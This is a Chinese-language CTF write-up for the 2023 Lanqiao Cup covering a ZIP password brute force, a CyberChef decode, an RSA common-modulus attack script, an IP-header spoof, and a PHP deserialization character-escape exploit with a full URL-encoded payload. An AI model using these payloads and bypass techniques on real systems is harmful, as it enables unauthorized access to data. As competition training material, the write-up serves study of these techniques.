蓝桥杯 2023

Misc

ZIP

通过在 WireShark 中检索 HTTP 请求,可以发现一个压缩包上传请求,通过追踪 TCP 流可以发现找到以下内容

PK....	...0..Vx...8...*.......flag.txt......nE...f.o.. ..]..Cp..]..a....b...7?..7.....^.Y...s.PK..x...8...*...PK......	...0..Vx...8...*.....$....... .......flag.txt
. ............Ze......Ze......Ke...PK..........Z...n.................
ChunQiu\d{4}

通过 010Editor 新建成一个 zip 压缩包文件,通过备注可以发现 Hint 密码的正则:ChunQiu\d{4}

因此通过 python 创建一个字典

for i in range(0000, 10000):
    print("ChunQiu{:04}".format(i))

创建字典后复制粘贴到 txt 中,使用 ARCHPR 进行字典密码爆破即可获得 flag

CyberChef

打开网页可以发现 flag 被 Base64 和 Rot13 两次加密后得到密文 CpakC3wnB2L3Q2IlBb02QGT1OWT4QGDwBpMmBV01PmXbCmBzQcP1CWg9 ,通过本地打开 CyberChef 将密文输入至 Input 内,选择 Rot13 Brute Force,取消勾选 Print amount,可以得到很多 Base64 编码的字符串

DqblD3xoC2M3R2JmCc02RHU1PXU4RHExCqNnCW01QnYcDnCaRdQ1DXh9
ErcmE3ypD2N3S2KnDd02SIV1QYV4SIFyDrOoDX01RoZdEoDbSeR1EYi9
FsdnF3zqE2O3T2LoEe02TJW1RZW4TJGzEsPpEY01SpAeFpEcTfS1FZj9
GteoG3arF2P3U2MpFf02UKX1SAX4UKHaFtQqFZ01TqBfGqFdUgT1GAk9
HufpH3bsG2Q3V2NqGg02VLY1TBY4VLIbGuRrGA01UrCgHrGeVhU1HBl9
IvgqI3ctH2R3W2OrHh02WMZ1UCZ4WMJcHvSsHB01VsDhIsHfWiV1ICm9
JwhrJ3duI2S3X2PsIi02XNA1VDA4XNKdIwTtIC01WtEiJtIgXjW1JDn9
KxisK3evJ2T3Y2QtJj02YOB1WEB4YOLeJxUuJD01XuFjKuJhYkX1KEo9
LyjtL3fwK2U3Z2RuKk02ZPC1XFC4ZPMfKyVvKE01YvGkLvKiZlY1LFp9
MzkuM3gxL2V3A2SvLl02AQD1YGD4AQNgLzWwLF01ZwHlMwLjAmZ1MGq9
NalvN3hyM2W3B2TwMm02BRE1ZHE4BROhMaXxMG01AxImNxMkBnA1NHr9
ObmwO3izN2X3C2UxNn02CSF1AIF4CSPiNbYyNH01ByJnOyNlCoB1OIs9
PcnxP3jaO2Y3D2VyOo02DTG1BJG4DTQjOcZzOI01CzKoPzOmDpC1PJt9
QdoyQ3kbP2Z3E2WzPp02EUH1CKH4EURkPdAaPJ01DaLpQaPnEqD1QKu9
RepzR3lcQ2A3F2XaQq02FVI1DLI4FVSlQeBbQK01EbMqRbQoFrE1RLv9
SfqaS3mdR2B3G2YbRr02GWJ1EMJ4GWTmRfCcRL01FcNrScRpGsF1SMw9
TgrbT3neS2C3H2ZcSs02HXK1FNK4HXUnSgDdSM01GdOsTdSqHtG1TNx9
UhscU3ofT2D3I2AdTt02IYL1GOL4IYVoThEeTN01HePtUeTrIuH1UOy9
VitdV3pgU2E3J2BeUu02JZM1HPM4JZWpUiFfUO01IfQuVfUsJvI1VPz9
WjueW3qhV2F3K2CfVv02KAN1IQN4KAXqVjGgVP01JgRvWgVtKwJ1WQa9
XkvfX3riW2G3L2DgWw02LBO1JRO4LBYrWkHhWQ01KhSwXhWuLxK1XRb9
YlwgY3sjX2H3M2EhXx02MCP1KSP4MCZsXlIiXR01LiTxYiXvMyL1YSc9
ZmxhZ3tkY2I3N2FiYy02NDQ1LTQ4NDAtYmJjYS01MjUyZjYwNzM1ZTd9
AnyiA3ulZ2J3O2GjZz02OER1MUR4OEBuZnKkZT01NkVzAkZxOaN1AUe9
BozjB3vmA2K3P2HkAa02PFS1NVS4PFCvAoLlAU01OlWaBlAyPbO1BVf9

通过 Base64 解码即可获得到 flag{dcb77abc-6445-4840-bbca-5252f60735e7}

Crypto

RSA

通过 python 代码可以获取到 e1 的值为 965035544

import random
random.seed(123456)
e1 = random.randint(100000000, 999999999)
print(e1)

通过分析代码可以发现两次加密使用同一个 m、n,并且 e1 和 e2 互素,因此可以进行共模攻击获取 flag

import gmpy2
import libnum

n= 7265521127830448713067411832186939510560957540642195787738901620268897564963900603849624938868472135068795683478994264434459545615489055678687748127470957
e1= 965035544
c1= 3315026215410356401822612597933850774333471554653501609476726308255829187036771889305156951657972976515685121382853979526632479380900600042319433533497363
e2= 65537
c2= 1188105647021006315444157379624581671965264301631019818847700108837497109352704297426176854648450245702004723738154094931880004264638539450721642553435120

def rsa_gong_N_def(e1,e2,c1,c2,n):
    e1, e2, c1, c2, n=int(e1),int(e2),int(c1),int(c2),int(n)
    s = gmpy2.gcdext(e1, e2)
    s1 = s[1]
    s2 = s[2]
    if s1 < 0:
        s1 = - s1
        c1 = gmpy2.invert(c1, n)
    elif s2 < 0:
        s2 = - s2
        c2 = gmpy2.invert(c2, n)
    m = (pow(c1,s1,n) * pow(c2 ,s2 ,n)) % n
    return int(m)

m = rsa_gong_N_def(e1,e2,c1,c2,n)
print(m)
print(libnum.n2s(int(m)))

Web

禁止访问

通过 BurpSuite 的 Repeater 添加 Header 头 client-ip: 192.168.1.1 后即可获取 flag

ezphp

考点

  1. 序列化使用 S 来识别十六进制字符

  2. 通过数组来动态调用类内函数

  3. 序列化字符逃逸

源代码

<?php
highlight_file(__FILE__);
error_reporting(0);
class A{
  public $key;
  public function readflag(){
    if($this->key === "\0key\0"){
      readfile('/flag');
    }
  }
}
class B{
  public function  __toString(){
    return ($this->b)();
  }
}
class C{
  public $s;
  public $str;
  public function  __construct($s){
    $this->s = $s;
  }
  public function  __destruct(){
    echo $this->str;
  }
}

$ser = serialize(new C($_GET['c']));
$data = str_ireplace("\0","00",$ser);
unserialize($data);

序列化构造

<?php
highlight_file(__FILE__);
error_reporting(0);
class A{
  public $key;
  
  // New
  public function __construct() {
    $this->key = "\0key\0";
  }
  
  public function readflag(){
    if($this->key === "\0key\0"){
      readfile('/flag');
    }
  }
}
class B{
  public $b; // New
  
  // New
  public function __construct() {
    $this->b = [new A(), "readflag"];
  }
  
  public function  __toString(){
    ($this->b)(); // New
    return ""; // New
  }
}
class C{
  public $s;
  public $str;
  public function  __construct(){
    $this->s = '';
    $this->str = new B(); // New
  }
  public function  __destruct(){
    echo $this->str;
  }
}

$ser = serialize(new C($_GET['c']));
echo $ser; // O:1:"C":2:{s:1:"s";s:0:"";s:3:"str";O:1:"B":1:{s:1:"b";a:2:{i:0;O:1:"A":1:{s:3:"key";s:5:"key";}i:1;s:8:"readflag";}}}

字符逃逸

题目中只能通过 c 进行传值,因此需要通过题目提供的 str_ireplace() 函数进行字符逃逸给 str 赋值以下内容

";s:3:"str";O:1:"B":1:{s:1:"b";a:2:{i:0;O:1:"A":1:{s:3:"key";s:5:"key";}i:1;s:8:"readflag";}}}

可以发现 s:5:"key"; 匹配不上,结果需要是 \0key\0 ,又因为现在序列化用的是双引号,PHP 使用单引号时 \0 无法被转义,因此需要使用 str_ireplace('00', "\0", $str) 进行替换,并且在序列化中 s 不能识别十六进制字符,因此需要将 s 改为 S

在题目有还有一个 str_ireplace("\0","00",$ser); 会将\0 变成 00 ,因此需要给 key 的值加上反斜杠 \

str_ireplace('00', "\0", '";s:3:"str";O:1:"B":1:{s:1:"b";a:2:{i:0;O:1:"A":1:{s:3:"key";S:5:"\00key\00";}i:1;s:8:"readflag";}}}');
// O:1:"C":2:{s:1:"s";s:197:"1";s:3:"str";O:1:"B":1:{s:1:"b";a:2:{i:0;O:1:"A":1:{s:3:"key";S:5:"\key\";}i:1;s:8:"readflag";}}}";s:3:"str";N;}

因此逃逸的字符有 96 个,即

";s:3:"str";O:1:"B":1:{s:1:"b";a:2:{i:0;O:1:"A":1:{s:3:"key";S:5:"\key\";}i:1;s:8:"readflag";}}}

接下来就是进行字符逃逸,先通过 str_repeat("\0", 96) 进行尝试得到的结果如下:(192 个 0)

O:1:"C":2:{s:1:"s";s:194:"000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000";s:3:"str";O:1:"B":1:{s:1:"b";a:2:{i:0;O:1:"A":1:{s:3:"key";S:5:"\00key\00";}i:1;s:8:"readflag";}}}";s:3:"str";N;}

不足以逃逸就继续向上增,增到 98 时发现正好足够:(196 个 0)

O:1:"C":2:{s:1:"s";s:196:"0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000";s:3:"str";O:1:"B":1:{s:1:"b";a:2:{i:0;O:1:"A":1:{s:3:"key";S:5:"\00key\00";}i:1;s:8:"readflag";}}}";s:3:"str";N;}

这时候就已经逃逸成功了!flag 也就出来力!

通过 urlencode() 就可以得到 payload力

%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%22%3Bs%3A3%3A%22str%22%3BO%3A1%3A%22B%22%3A1%3A%7Bs%3A1%3A%22b%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A1%3A%22A%22%3A1%3A%7Bs%3A3%3A%22key%22%3BS%3A5%3A%22%5C%00key%5C%00%22%3B%7Di%3A1%3Bs%3A8%3A%22readflag%22%3B%7D%7D%7D

序列化 s 与 S 的补充

https://github.com/php/php-src/blob/e8fb0edc69598e7d9380f61a1ab551b5ec6c27ca/ext/standard/var_unserializer.re#L1025C20-L1094

"s:" uiv ":" ["] 	{
	size_t len, maxlen;
	char *str;

	len = parse_uiv(start + 2);
	maxlen = max - YYCURSOR;
	if (maxlen < len) {
		*p = start + 2;
		return 0;
	}

	str = (char*)YYCURSOR;

	YYCURSOR += len;

	if (*(YYCURSOR) != '"') {
		*p = YYCURSOR;
		return 0;
	}

	if (*(YYCURSOR + 1) != ';') {
		*p = YYCURSOR + 1;
		return 0;
	}

	YYCURSOR += 2;
	*p = YYCURSOR;

	if (!var_hash) {
		/* Array or object key unserialization */
		ZVAL_STR(rval, zend_string_init_existing_interned(str, len, 0));
	} else {
		ZVAL_STRINGL_FAST(rval, str, len);
	}
	return 1;
}

"S:" uiv ":" ["] 	{
	size_t len, maxlen;
	zend_string *str;

	len = parse_uiv(start + 2);
	maxlen = max - YYCURSOR;
	if (maxlen < len) {
		*p = start + 2;
		return 0;
	}

	if ((str = unserialize_str(&YYCURSOR, len, maxlen)) == NULL) {
		return 0;
	}

	if (*(YYCURSOR) != '"') {
		zend_string_efree(str);
		*p = YYCURSOR;
		return 0;
	}

	if (*(YYCURSOR + 1) != ';') {
		efree(str);
		*p = YYCURSOR + 1;
		return 0;
	}

	YYCURSOR += 2;
	*p = YYCURSOR;

	ZVAL_STR(rval, str);
	return 1;
}

其中 S 比 s 多调用了函数 unserialize_str() ,进行了 16 进制的解析

https://github.com/php/php-src/blob/e8fb0edc69598e7d9380f61a1ab551b5ec6c27ca/ext/standard/var_unserializer.re#L323

static zend_string *unserialize_str(const unsigned char **p, size_t len, size_t maxlen)
{
	size_t i, j;
	zend_string *str = zend_string_safe_alloc(1, len, 0, 0);
	unsigned char *end = *(unsigned char **)p+maxlen;

	if (end < *p) {
		zend_string_efree(str);
		return NULL;
	}

	for (i = 0; i < len; i++) {
		if (*p >= end) {
			zend_string_efree(str);
			return NULL;
		}
		if (**p != '\\') {
			ZSTR_VAL(str)[i] = (char)**p;
		} else {
			unsigned char ch = 0;

			for (j = 0; j < 2; j++) {
				(*p)++;
				if (**p >= '0' && **p <= '9') {
					ch = (ch << 4) + (**p -'0');
				} else if (**p >= 'a' && **p <= 'f') {
					ch = (ch << 4) + (**p -'a'+10);
				} else if (**p >= 'A' && **p <= 'F') {
					ch = (ch << 4) + (**p -'A'+10);
				} else {
					zend_string_efree(str);
					return NULL;
				}
			}
			ZSTR_VAL(str)[i] = (char)ch;
		}
		(*p)++;
	}
	ZSTR_VAL(str)[i] = 0;
	ZSTR_LEN(str) = i;
	return str;
}

Last updated